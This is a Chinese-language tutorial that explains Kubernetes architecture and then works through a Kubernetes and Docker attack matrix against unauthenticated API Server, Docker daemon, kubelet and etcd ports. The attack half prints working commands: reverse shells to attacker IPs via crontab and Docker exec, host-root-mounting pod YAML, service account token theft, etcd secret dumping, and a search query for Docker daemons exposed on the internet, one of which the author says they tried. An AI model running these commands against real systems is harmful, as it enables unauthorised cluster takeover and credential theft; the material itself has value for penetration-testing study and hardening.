一、云
云的定义看似模糊,但本质上,它是一个用于描述环球服务器网络的术语,每个服务器都有一个独特的功能。云不是一个物理实体,而是一个庞大的环球远程服务器网络,它们毗连在一起,旨在作为单一的生态体系运行。这些服务器设计用于存储和管理数据、运行应用程序,或者交付内容/服务(如视频短片、Web
邮件、办公室生产力软件或社交媒体)。不是从本地或个人盘算机访问文件和数据,而是通过任何支持 Internet 的设备在线访问 -
这些信息在必要时随时随地可用。
企业接纳 4 种不同的方法部署云资源。存在一个[公有云](https://azure.microsoft.com/zh-
cn/overview/what-is-a-public-cloud/ “公有云”),它通过 Internet
共享资源并向公众提供服务;一个[私有云](https://azure.microsoft.com/zh-cn/overview/what-is-a-
private-cloud/
“私有云”),它不举行共享且经过通常本地托管的私有内部网络提供服务;一个[混合云](https://azure.microsoft.com/zh-
cn/overview/what-is-hybrid-cloud-computing/
“混合云”),它根据其目标在公有云和私有云之间共享服务;以及一个社区云,它仅在组织之间(例如与政府机构)共享资源。
《云是什么- 定义 - Microsoft Azure》
二、何为k8s
k8s即Kubernetes。
其为google开发来被用于容器管理的开源应用程序,可资助创建和管理应用程序的容器化。
用一个的例子来描述:”当虚拟化容器Docker有太多要管理的时候,手动管理就会很贫苦,于是我们便可以通过k8s来简化我们的管理”
0x00
K8S 架构简述
我们在上文已经知道,K8S是用于管理虚拟化容器的一个应用体系,在这小节中会偏重讲述K8S的架构、实现原理。
下图为K8S架构的概览:

kubectl 是 k8s 的客户端工具,可以使用命令行管理集群
k8s主要由较少的master节点以及其对应的多个Node节点组成。master用于对Node节点举行控制管理,一个k8s集群中至少要有一台master节点。
Master 节点中包含很多的组件,主要为如下
etcd :
它存储集群中每个节点可以使用的配置信息。它是一个高可用性键值存储,可以在多个节点之间分布。只有Kubernetes
API服务器可以访问它,因为它大概具有一些敏感信息。这是一个分布式键值存储,全部人都可以访问。 简而言之: 存储节点信息
API server :
Kubernetes是一个API服务器,它使用API在集群上提供全部操作。API服务器实现了一个接口,这意味着不同的工具和库可以轻松地与其举行通信。Kubeconfig是与可用于通信的服务器端工具一起的软件包。它公开Kubernetes
API 。简而言之: 读取与剖析请求指令的中枢
Controller Manage :
该组件负责调节聚集状态并执行使命的大多数收集器。通常,可以将其视为在非终止循环中运行的守卫程序,该守卫程序负责收集信息并将其发送到API服务器。它致力于获取聚集的共享状态,然后举行更改以使服务器的当前状态达到所需状态。关键控制器是复制控制器,端点控制器,名称空间控制器和服务帐户控制器。控制器管理器运行不同范例的控制器来处理节点,端点等。
简而言之: 维护k8s资源
Scheduler :
这是Kubernetes
master的关键组件之一。它是主服务器中负责分配工作负载的服务。它负责跟踪聚集节点上工作负载的利用率,然后将工作负载放在可用资源上并担当该工作负载。换句话说,这是负责将Pod分配给可用节点的机制。调理程序负责工作负载利用率,并将Pod分配给新节点。
简而言之: 负载平衡调理器
Node 节点也包含了很多组件,主要如下
Docker :
Docker引擎,运行着容器的底子环境
kubelet :
在每个node节点都存在一份,主要来执行关于资源操作的指令,负责pod的维护。
kube-proxy :
署理服务,用于负载平衡,在多个pod之间做负载平衡
fluentd :
日志收集服务
pod :
pod是k8s的最小服务单位,pod内部才是容器,k8s通过操作pod来操作容器 。一个Node节点可以有多个Pod
Pod可以说是Node节点中最核心的部门,Pod也是一个容器,它是一个”用来封装容器的容器”。一个Pod中通常会装载多个容器,这些容器共用一个虚拟环境,共享着网络和存储等资源。
这些容器的资源共享以及相互交互都是由pod里面的pause容器来完成的,每初始化一个pod时便会生成一个pause容器。

0x01
K8S工作流程
用户端命令下发通常流程如下:
- kubectl向apiserver发送部署请求(例如使用 kubectl create -f deployment.yml)
- apiserver将 Deployment 长期化到etcd;etcd与apiserver举行一次http通信。
- controller manager通过watch api监听 apiserver ,deployment controller看到了一个新创建的deplayment对象更后,将其从队列中拉出,根据deployment的描述创建一个ReplicaSet并将 ReplicaSet 对象返回apiserver并长期化回etcd。
- 接着scheduler调理器看到未调理的pod对象,根据调理规则选择一个可调理的节点,加载到pod描述中nodeName字段,并将pod对象返回apiserver并写入etcd。
- kubelet在看到有pod对象中nodeName字段属于本节点,将其从队列中拉出,通过容器运行时创建pod中描述的容器。

0x02
搭建K8S
见《K8S环境搭建.md》
0x03
k8S的底子概念
Kubernetes教程 | Kuboard(非常好的中文教程)
学习 Kubernetes 底子知识 |
Kubernetes(k8s官方教程,有交互式操作界面,稍微有点不好的是有些地方没有中文)
以下内容来自https://kuboard.cn/learning/k8s-basics/kubernetes-basics.html
部署(Deployment)
Worker节点(即Node)是VM(虚拟机)或物理盘算机,充当k8s集群中的工作盘算机
Deployment 译名为 部署 。在k8s中,通过发布 Deployment,可以创建应用程序 (docker image) 的实例
(docker container),这个实例会被包含在称为 Pod 的概念中, Pod 是 k8s 中最小可管理单位。
在 k8s 集群中发布 Deployment 后,Deployment 将指示 k8s 怎样创建和更新应用程序的实例,master
节点将应用程序实例调理到集群中的具体的节点上。
创建应用程序实例后,Kubernetes Deployment Controller 会持续监控这些实例。假如运行实例的 worker 节点关机或被删除,则
Kubernetes Deployment Controller 将在聚会集资源最优的另一个 worker 节点上重新创建一个新的实例。
这提供了一种自我修复机制来解决机器故障或维护题目。
在容器编排之前的期间,各种安装脚本通常用于启动应用程序,但是不可以或许使应用程序从机器故障中恢复。通过创建应用程序实例并确保它们在集群节点中的运行实例个数,Kubernetes
Deployment 提供了一种完全不同的方式来管理应用程序。

相关命令:
kubectl 是 k8s 的客户端工具,可以使用命令行管理集群
kubectl备忘录:[kubectl 备忘单 | Kubernetes](https://kubernetes.io/zh-
cn/docs/reference/kubectl/cheatsheet/ “kubectl 备忘单 | Kubernetes”)
- # 查看 Deployment
- kubectl get deployments
- # 查看 Pod
- kubectl get pods
- #根据yaml文件部署
- kubectl apply -f nginx-deployment.yaml
复制代码 一个yaml文件差不多就长这样: (nginx-deployment.yaml)
- apiVersion: apps/v1 #与k8s集群版本有关,使用 kubectl api-versions 即可查看当前集群支持的版本kind: Deployment #该配置的类型,我们使用的是 Deployment
- metadata: #译名为元数据,即 Deployment 的一些基本属性和信息
- name: nginx-deployment #Deployment 的名称
- labels: #标签,可以灵活定位一个或多个资源,其中key和value均可自定义,可以定义多组,目前不需要理解
- app: nginx #为该Deployment设置key为app,value为nginx的标签
- spec: #这是关于该Deployment的描述,可以理解为你期待该Deployment在k8s中如何使用 replicas: 1 #使用该Deployment创建一个应用程序实例
- selector: #标签选择器,与上面的标签共同作用,目前不需要理解
- matchLabels: #选择包含标签app:nginx的资源
- app: nginx
- template: #这是选择或创建的Pod的模板
- metadata: #Pod的元数据
- labels: #Pod的标签,上面的selector即选择包含标签app:nginx的Pod
- app: nginx
- spec: #期望Pod实现的功能(即在pod中部署)
- containers: #生成container,与docker中的container是同一种
- - name: nginx #container的名称
- image: nginx:1.7.9 #使用镜像nginx:1.7.9创建container,该container默认80端口可访问
复制代码
POD与Node

Pod 容器组 是一个k8s中一个抽象的概念,用于存放一组 container(可包含一个或多个 container 容器,即图上正方体),以及这些
container (容器)的一些共享资源。这些资源包括:
- 共享存储,称为卷(Volumes),即图上紫色圆柱
- 网络, 每个 Pod(容器组)在集群中有个唯一的 IP ,pod(容器组)中的 container(容器)共享该IP地址
- container(容器)的根本信息,例如容器的镜像版本,对外袒露的端口等
POD是集群上最底子的单位
下图中的一个 Node(节点)上含有4个 Pod(容器组)

Pod(容器组)总是在 Node(节点) 上运行。Node(节点)是 kubernetes 集群中的盘算机,可以是虚拟机或物理机。每个
Node(节点)都由 master 管理。一个 Node(节点)可以有多个Pod(容器组),kubernetes master 会根据每个
Node(节点)上可用资源的情况,自动调理 Pod(容器组)到最佳的 Node(节点)上。
一个Node节点的状态大致有以下的东西
- Addresses :地址
- Conditions :状况(conditions 字段描述了全部 Running 节点的状态)
- Capacity and Allocatable :容量与可分配,描述节点上的可用资源:CPU、内存和可以调理到节点上的 Pod 的个数上限。
- Info :关于节点的一样平常性信息,例如内核版本、Kubernetes 版本(kubelet 和 kube-proxy 版本)、 Docker 版本(假如使用了)和操作体系名称。这些信息由 kubelet 从节点上搜集而来。
- HostName:由节点的内核设置。可以通过 kubelet 的 —hostname-override 参数覆盖。
- ExternalIP:通常是节点的可外部路由(从集群外可访问)的 IP 地址。
- InternalIP:通常是节点的仅可在集群内部路由的 IP 地址。
- Ready 如节点是康健的并已经准备好吸收 Pod 则为 True;False 表现节点不康健而且不能吸收 Pod;Unknown 表现节点控制器在最近 node-monitor-grace-period 期间(默认 40 秒)没有收到节点的消息
- DiskPressure为True则表现节点的空闲空间不敷以用于添加新 Pod, 否则为 False
- MemoryPressure为True则表现节点存在内存压力,即节点内存可用量低,否则为 False
- PIDPressure为True则表现节点存在历程压力,即节点上历程过多;否则为 False
- NetworkUnavailable为True则表现节点网络配置不正确;否则为 False
相关命令:
- #获取类型为Pod的资源列表
- kubectl get pods
- #获取类型为Node的资源列表
- kubectl get nodes
- # kubectl describe 资源类型 资源名称
- #查看名称为nginx-XXXXXX的Pod的信息
- kubectl describe pod nginx-XXXXXX
- #查看名称为nginx的Deployment的信息
- kubectl describe deployment nginx
- #查看名称为nginx-pod-XXXXXXX的Pod内的容器打印的日志
- kubectl logs -f podname
- #在Pod中运行命令
- kubectl exec -it nginx-pod-xxxxxx /bin/bash
复制代码
服务(Service)
[https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-service-服务-
概述](https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-
service-%E6%9C%8D%E5%8A%A1-%E6%A6%82%E8%BF%B0
“https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-service-服务-
概述”)
通过以上内容我们知道, 应用程序所在的Pod是一直变动着的 ,而每个Pod的ip又不一样,但是对于前端用户来说,应用程序的访问地址应该是唯一的才行。
因此k8s提供了一个机制用来为前端屏蔽后端Pod变动带来的IP变动,这便是 Service 。
Service 为一系列有相同特征的Pod(一个应用的Pod在不停变换,但是不论怎么变换这些Pod都有相同的特征)定义了一个同一的访问方式,
Service是通过标签选择器( LabelSelector
)来识别有哪些Pod有相同特征(带有特定Lable标签的POD,Lable可以由用户设置,标签存在于全部K8S对象上并不仅仅局限于Pod)
可以编成一个容器组的。
Service有三种选项袒露应用程序的入口,可以通过设置应用程序配置文件中的Service 项的spec.type 值来调解:
在聚会集的内部IP上公布服务,这种方式的 Service(服务)只在集群内部可以访问到
使用 NAT 在集群中每个的同一端口上公布服务。这种方式下,可以通过访问集群中任意节点+端口号的方式访 问服务
<NodeIP>:<NodePort>。此时 ClusterIP 的访问方式仍然可用。
在云环境中(需要云供应商可以支持)创建一个集群外部的负载平衡器,并为使用该负载平衡器的 IP 地址作为 服务的访问地址。此时 ClusterIP 和
NodePort 的访问方式仍然可用。
下图中有两个服务Service A(黄色虚线)和Service B(蓝色虚线) Service A 将请求转发到 IP 为 10.10.10.1
的Pod上, Service B 将请求转发到 IP 为 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。

Service 将外部请求路由到一组 Pod 中,它提供了一个抽象层,使得 Kubernetes
可以在不影响服务调用者的情况下,动态调理容器组(在容器组失效后重新创建容器组,增加或者减少同一个 Deployment 对应容器组的数目等)。
在每个节点上都有Kube-proxy服务,Service使用其将链接路由到Pod
伸缩(Scaling)应用程序
可以通过更改deployment配置文件中的replicas项来设置开启的POD数目
在前面,我们创建了一个
Deployment,然后通过 [服务](https://kubernetes.io/docs/concepts/services-
networking/service/ “服务”)提供访问 Pod 的方式。我们发布的 Deployment 只创建了一个 Pod
来运行我们的应用程序。当流量增多导致应用程序POD负载加重后,我们需要对应用程序举行 伸缩
操作,增加POD数目来减轻负担,访问流量将会通过负载平衡在多个POD之间转发。
伸缩 的实现可以通过更改 nginx-deployment.yaml 文件中部署的 replicas(副本数)来完成
- spec:
- replicas: 2 #使用该Deployment创建两个应用程序实例
复制代码
执行滚动更新(
Rolling Update )
当我们想对已经部署的程序举行升级更新,但又不想让程序克制,就可以使用滚动更新来实现。
滚动更新通过使用新版本的POD逐步替代旧版本POD来实现零停机更新
滚动更新是K8S默认的更新方式
0x04
k8s用户
Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是平凡用户。
- service account 是由 Kubernetes API管理的账户。它们都绑定到了特定的 namespace,并由 API server 自动创建,或者通过 API 调用手动创建。Service account 关联了一套根据,存储在 Secret,这些根据同时被挂载到 pod 中,从而允许 pod 与 kubernetes API 之间的调用。( service account的利用见k8s安全部门 )
- Use Account(用户账号):一样平常是指由独立于Kubernetes之外的其他服务管理的用户账号,例如由管理员分发的密钥、Keystone一类的用户存储(账号库)、乃至是包 含有用户名和密码列表的文件等。Kubernetes中不存在表现此类用户账号的对象, 因此不能被直接添加进 Kubernetes 体系中 。
0x05
k8s访问控制过程(安全机制)
详细内容参考笔记《k8s访问控制过程(安全机制).md》
k8s 中全部的 api 请求都要通过一个 gateway 也就是 apiserver 组件来实现,是集群唯一的访问入口。主要实现的功能就是api 的认证

三种机制:
- 认证 :Authentication,即身份认证。检查用户是否为正当用户,如客户端证书、密码、bootstrap tookens和JWT tokens等方式。
- 鉴权 :Authorization,即权限判断。判断该用户是否具有该操作的权限,k8s 中支持 Node、RBAC(Role-Based Access Control)、ABAC、webhook等机制,RBAC 为主流方式
- 准入控制 :Admission Control。请求的最后一个步骤,一样平常用于拓展功能,如检查 pod 的resource是否配置,yaml配置的安全是否合规等。一样平常使用admission webhooks来实现
注意:认证授权过程只存在HTTPS情势的API中。也就是说,假如客户端使用HTTP毗连到kube-apiserver,是不会举行认证授权
k8s认证
X509 client certs
客户端证书认证,X509 是一种数字证书的格式标准,是 kubernetes 中默认开启使用最多的一种,也是最安全的一种。api-server 启动时会指定
ca 证书以及 ca 私钥,只要是通过同一个 ca 签发的客户端 x509 证书,则认为是可信的客户端,kubeadm 安装集群时就是基于证书的认证方式。
user 生成 kubeconfig就是X509 client certs方式。
Service Account Tokens
因为基于x509的认证方式相对比较复杂,不实用于k8s集群内部pod的管理。Service Account Tokens是 service account
使用的认证方式。定义一个 pod 应该拥有什么权限。一个 pod
与一个服务账户相关联,该服务账户的根据(token)被放入该pod中每个容器的文件体系树中,位于/var/run/secrets/kubernetes.io/serviceaccount/token
service account 主要包含了三个内容: namespace、token 和 ca
- namespace: 指定了 pod 所在的 namespace
- token: token 用作身份验证
- ca: ca 用于验证 apiserver 的证书
k8s鉴权
K8S 目前支持了如下四种授权机制:
具体到授权模式实在有六种:
- 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。
- 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。
- WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
- node节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
- AlwaysDeny阻止全部请求。仅将此标记用于测试。
- AlwaysAllow允许全部请求。仅在你不需要 API 请求 的鉴权时才使用此标记。
可以选择多个鉴权模块。模块按顺序检查,以便较靠前的模块具有更高的优先级来允许 或拒绝请求。
从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳固的功能。
三、K8S攻击矩阵
CDK是一款为容器环境定制的渗出测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的
逃逸、横向移动、长期化利用方式,插件化管理。
https://github.com/cdk-team/CDK
下图是K8S的一些攻击矩阵


本文就围绕着这个框架,叙述一些有用的攻击手法吧
0x00
k8s环境中的信息收集
信息收集与我们的攻击场景或者说进入的内网的起点分不开。 一样平常来说内网不会完全基于容器技能举行构建。所以起点一样平常可以分为权限受限的容器和物理主机内网。
在K8s内部集群网络主要依赖网络插件,目前使用比较多的主要是Flannel和Calico
主要存在4种范例的通信:
- 同一Pod内的容器间通信
- 各Pod相互间通信
- Pod与Service间的通信
- 集群外部的流量与Service间的通信
当我们起点是一个在k8s集群内部权限受限的容器时,和通例内网渗出区别不大,上传端口扫描工具探测即可。
k8s常用端口
在k8s环境中,内网探测可以高度关注的端口: (各端口的渗出在下面会展开)
- kube-apiserver: 6443, 8080
- kubectl proxy: 8080, 8081
- kubelet: 10250, 10255, 4149
- dashboard: 30000
- docker api: 2375
- etcd: 2379, 2380
- kube-controller-manager: 10252
- kube-proxy: 10256, 31442
- kube-scheduler: 10251
- weave: 6781, 6782, 6783
- kubeflow-dashboard: 8080
复制代码
0x01
初始访问
1、云账号AK泄露
在如今的云的大环境下,许多业务代码想要与云服务举行通信,就需要通过accesskey这个东西举行鉴权,鉴权通过后才能与云服务举行通信。
普通来讲,人想要访问一个服务,通常需要提供密码来举行身份验证;而代码想要访问一个云服务API,则需要提供accesskey来举行身份验证。
假如accesskey泄露了,我们便可以利用这个accesskey来与云服务通信,反弹个云主机的shell返来作为入口点慢慢往内打。
下面文章是关于云原生安全中accesskey安全更加详细的论述,阅读后可以对accesskey的概念有更深入的相识。
由access key泄露浅谈云安全 -
FreeBuf网络安全行业流派
记一次阿里云主机泄露Access Key到Getshell -
FreeBuf网络安全行业流派
2、恶意镜像
在docker中,容器的创建依赖于镜像,假如pull得到的镜像是一个恶意镜像,或者pull得到的镜像自己就存在安全毛病,便会带来安全风险
下图便是dockerhub上部署挖矿软件的恶意镜像,它会从github上下载恶意挖矿软件举行挖矿

3、API
Server未授权(8080,6443)
属于是K8S中的经典毛病了
回顾一下API Server的作用,它在集群中被用于提供API来控制集群内部,假如我们能控制API
Server,就意味着我们可以通过它利用kubectl创建Pod并使用磁盘挂载技能获取Node节点控制权(关于磁盘挂载获取节点shell的技能在后面的小节中再举行详细论述)。
API Server可以在两个端口上提供了对外服务:8080(insecure-port,非安全端口)和6443(secure-
port,安全端口),其中8080端口提供HTTP服务且无需身份认证,6443端口提供HTTPS服务且支持身份认证(8080和6443端口并不是固定的,是通过配置文件来控制的)。
insecure-port 开启
API Server在8080端口上开放的服务应该是用于测试,但假如其在生存环境中被暴袒露来,攻击者便可以利用此端口举行对集群的攻击。
但是利用API Server的8080端口举行未授权活动的前提条件略显苛刻(配置失当+版本较低),8080端口服务是默认不启动的,但假如用户在
/etc/kubernets/manifests/kube-apiserver.yaml 中有 --insecure- port=8080配置项,那就启动了非安全端口,有了安全风险。
注: 1.20 版本后该选项已无效化

环境前提:
- step1:进入cd /etc/kubernetes/manifests/
- step2: 修改api-kube.conf
- 添加- -–insecure-port=8080
- 添加- -–insecure-bind-address=0.0.0.0
- Kubelet 会监听该文件的变化,当您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 文件之后,kubelet 将自动终止原有的 kube-apiserver-{nodename} 的 Pod,并自动创建一个使用了新配置参数的 Pod 作为替代
复制代码 
重启服务
- systemctl daemon-reload
- systemctl restart kubelet
复制代码 在现实环境中,因为8080端口相对比较常见,导致在内部排查经常忽略这个风险点。
利用
环境信息:
一个集群包含三个节点,其中包括一个控制节点和两个工作节点
- K8s-master 192.168.11.152
- K8s-node1 192.168.11.153
- K8s-node2 192.168.11.160
攻击机kali
直接访问 8080 端口会返回可用的 API 列表:

使用kubectl可以指定IP和端口调用存在未授权毛病的API Server。
假如没有kubectl,需要安装kubectl,安装可以参考官网文档:
- 在 Linux 上安装 kubectl
- 在 macOS 上安装 kubectl
- 在 Windows 上安装 kubectl
使用kubectl获取集群信息:
- kubectl -s ip:port get nodes
复制代码 
注:假如你的kubectl版本比服务器的高,会出现错误,需要把kubectl的版本降低.
接着在本机上新建个yaml文件用于创建容器,并将节点的根目录挂载到容器的 /mnt 目录,内容如下:
- apiVersion: v1
- kind: Pod
- metadata:
- name: test
- spec:
- containers:
- - image: nginx
- name: test-container
- volumeMounts:
- - mountPath: /mnt
- name: test-volume
- volumes:
- - name: test-volume
- hostPath:
- path: /
复制代码 然后使用 kubectl 创建容器,这个时候我们发现是无法指定在哪个节点上创建pod。
- kubectl -s 192.168.11.152:8080 create -f test.yaml
- kubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash
复制代码 写入反弹 shell 的定时使命
- echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab
复制代码 稍等一会得到node02节点权限:

或者也可以通过写公私钥的方式控制宿主机。
假如apiserver配置了dashboard的话,可以直接通过ui界面创建pod。
secure-port 配置错误
若我们不带任何根据的访问 API server的 secure-port端口,默认会被服务器标记为system:anonymous用户。
一样平常来说system:anonymous用户权限是很低的,但是假如运维人员管理失当,把system:anonymous用户绑定到了cluster- admin用户组,那么就意味着secure-port允许匿名用户以管理员权限向集群下达命令。(也就是secure-
port变成某种意义上的insecure-port了)
利用
方法一
- kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes
- #(192.168.111.20:6443 是master节点上apiserver的secure-port)然后提示输入账户密码,随便乱输就行
复制代码 正常情况应该是这样

但假如secure-port 配置失当出现了未授权,就会这样

方法二
利用cdk工具通过"system:anonymous"匿名账号尝试登录
- ./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"
复制代码 
创建特权容器:

之后的攻击方式和上面是一样的
4、k8s
configfile 泄露
k8s configfile配置文件中大概会有api-
server登陆根据等敏感信息,假如获取到了集群configfile内容(如泄露在github),将会对集群内部安全造成巨大影响。
这里引用阿里云社区的一张图

5、容器内部应用毛病入侵
顾名思义,容器内部应用就有题目(好比内部应用是tomcat,且有RCE毛病),从而就会导致黑客获取Pod shell,拿到入口点
6、docker.sock
利用
Docker以server-client的情势工作,服务端叫Docker daemon,客户端叫docker client。
Docker daemon想调用docker指令,就需要通过docker.sock这个文件向docker client举行通讯。换句话说,Docker
daemon通过docker.sock这个文件去管理docker容器(如创建容器,容器内执行命令,查询容器状态等)。
同时,Docker
daemon也可以通过配置将docker.sock袒露在端口上,一样平常情况下2375端口用于未认证的HTTP通信,2376用于可信的HTTPS通信。
公网袒露(2375)(Docker Daemon)
假如docker daemon 2375端口袒露在了公网上,那么便可以直接利用该端口控制docker容器,并通过新建容器配合磁盘挂载技能获取宿主机权限。
fofa搜索
- server="Docker" && port="2375"
复制代码 可以发现有很多袒露在公网的docker.sock,

我们选一个来试试水
可以发现是乐成的调用了API查询了容器状态

然后我们可以通过如下指令,在指定容器内部执行命令
- curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
复制代码 获取到一个id

然后请求这个id,执行此命令
- curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
复制代码 就像这样:(图片引用自freebuf)

直接利用现成的docker.sock
假如我们入侵了一个docker容器,这个docker容器里面有docker.sock(常用路径/var/run/docker.sock),那么就可以直接利用此文件控制docker
daemon。
把上一小节的命令改改就行,加一个—unix-socket参数。
- curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
- curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
复制代码 一样平常来说docker.sock是存在于docker
daemon服务端的,但假如开发人员想在docker容器里运行docker命令,就需要把宿主机的docker.sock挂载到容器内部了,这就给了我们docker逃逸的可乘之机。
实战案例
Docker Daemon未授权访问的检测与利用:
- #探测是否访问未授权访问
- curl http://192.168.238.129:2375/info
- docker -H tcp://192.168.238.129:2375 info
- #推荐使用这种方式,操作方便。
- export DOCKER_HOST="tcp://192.168.238.129:2375"
复制代码 Docker Daemon未授权实战案例:

7、kubelet
未授权(10250/10255)
危害:
- 可以直接控制该node下的全部pod
- 检索寻找特权容器,获取 Token
- 假如可以或许从pod获取高权限的token,则可以直接接管集群。
kubelet和kubectl的区别?
kubelet是在Node上用于管理本机Pod的,kubectl是用于管理集群的。kubectl向集群下达指令,Node上的kubelet收到指令后以此来管理本机Pod。

Kubelet API 一样平常监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。
kubelet对应的API端口默认在10250,运行在集群中每台Node上,kubelet
的配置文件在node上的/var/lib/kubelet/config.yaml
我们重点关注配置文件中的这两个选项:第一个选项用于设置kubelet api能否被匿名访问,第二个选项用于设置kubelet api访问是否需要经过Api
server举行授权(这样纵然匿名⽤户可以或许访问也不具备任何权限)。

在默认情况下,kubelet配置文件就如上图所示,我们直接访问kubelet对应API端口会表现认证不通过

我们将配置文件中,authentication-anonymous-enabled改为true,authorization-
mode改为AlwaysAllow,再使用命令systemctl restart kubelet
重启kubelet,那么就可以实现kubelet未授权访问

关于authorization-mode另有以下的配置:
- --authorization-mode=ABAC 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。
- --authorization-mode=RBAC 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。
- --authorization-mode=Webhook WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
- --authorization-mode=Node 节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
- --authorization-mode=AlwaysDeny 该标志阻止所有请求。仅将此标志用于测试。
- --authorization-mode=AlwaysAllow 此标志允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。
复制代码 在我们发现kubelet未授权后,可以举行以下操作拿到入口点
执行Pod内命令
假如有kubelet未授权,那就可以用以下命令在Pod内执行命令
- curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"
复制代码 其中的参数可以从https://node_ip:10250/pods 中获取
- metadata.namespace 下的值为 namespace
- metadata.name下的值为 pod_name
- spec.containers下的 name 值为 container_name

可以直接回显命令结果,很方便

获取容器内service account根据
假如能在Pod内执行命令,那么就可以获取Pod里service account的根据,使用Pod上的service
account根据可以用来模拟Pod上的服务账户举行操作,具体利用方法见下面的小节:[利用Service Account毗连API
Server执行指令](#利用Service Account毗连API Server执行指令)

利用示例
环境信息:
一个集群包含三个节点,其中包括一个控制节点和两个工作节点
- K8s-master 192.168.11.152
- K8s-node1 192.168.11.153
- K8s-node2 192.168.11.160
攻击机kali
访问https://192.168.11.160:10250/pods,出现如下数据表现可以利用:

想要在容器里执行命令的话,我们需要首先确定namespace、pod_name、container_name这几个参数来确认容器的位置。
- metadata.namespace 下的值为 namespace
- metadata.name下的值为 pod_name
- spec.containers下的 name 值为 container_name

这里可以通过检索securityContext字段快速找到特权容器

在对应的容器里执行命令,获取 Token,该token可用于Kubernetes
API认证,Kubernetes默认使用RBAC鉴权(当使用kubectl命令时实在是底层通过证书认证的方式调用Kubernetes API)
token 默认保存在pod 里的/var/run/secrets/kubernetes.io/serviceaccount/token
- curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
复制代码 
假如挂载到集群内的token具有创建pod的权限,可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限
- kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods
复制代码 
接下来便是通过创建pod来挂载目录,然后用crontab来得到shell了 。
8、etcd
未授权(2379)
etcd是k8s集群中的数据库组件,默认监听在2379端口,默认通过证书认证,主要存放节点的信息,如一些token和证书。假如2379存在未授权,那么就可以通过etcd查询集群内管理员的token,然后用这个token访问api
server接管集群。
etcd有v2和v3两个版本,k8s用的是v3版本,所以我们在访问etcd的时候需要用命令ETCDCTL_API=3来指定etcd版本。
我们想要利用etcd未授权,需要使用一个工具叫做etcdctl,它是用来管理etcd数据库的,我们可以在github上下载它
Releases · etcd-io/etcd · GitHub
“在启动etcd时,假如没有指定 –client-cert-auth 参数打开证书校验,并且没有通过iptables /
防火墙等实施访问控制,etcd的接口和数据就会直接袒露给外部黑客”——爱奇艺安全应急响应中央
利用
下载etcd:[Releases · etcd-io/etcd · GitHub](https://github.com/etcd-
io/etcd/releases “Releases · etcd-io/etcd · GitHub”)
解压后在命令行中进入etcd目录下。
etcdctl api版本切换:
- export ETCDCTL_API=2
- export ETCDCTL_API=3
复制代码 探测是否存在未授权访问的Client API
- etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only
复制代码 假如我们在没有证书文件的前提下直接访问2375端口,是调用不了etcd应用的,会提示X509证书错误。

我们需要将以下文件加入环境变量(ca,key,cert)才能访问(假如有未授权,那么不用带证书都能访问)
- export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
- export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
- export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
复制代码 或者直接执行:
- etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
复制代码 查询管理员token
我们可以直接在etcd里查询管理员的token,然后使用该token配合kubectl指令接管集群。
- etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/
复制代码 
假如查询结果有敏感账户,我们便可以去获取他的token
- etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712
复制代码 
拿到token以后,用kubectl接管集群
- kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes
- kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" -n kube-system get pods
复制代码 也可以尝试dump etcd数据库,然后去找敏感信息
- ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
复制代码 假如服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls-verify
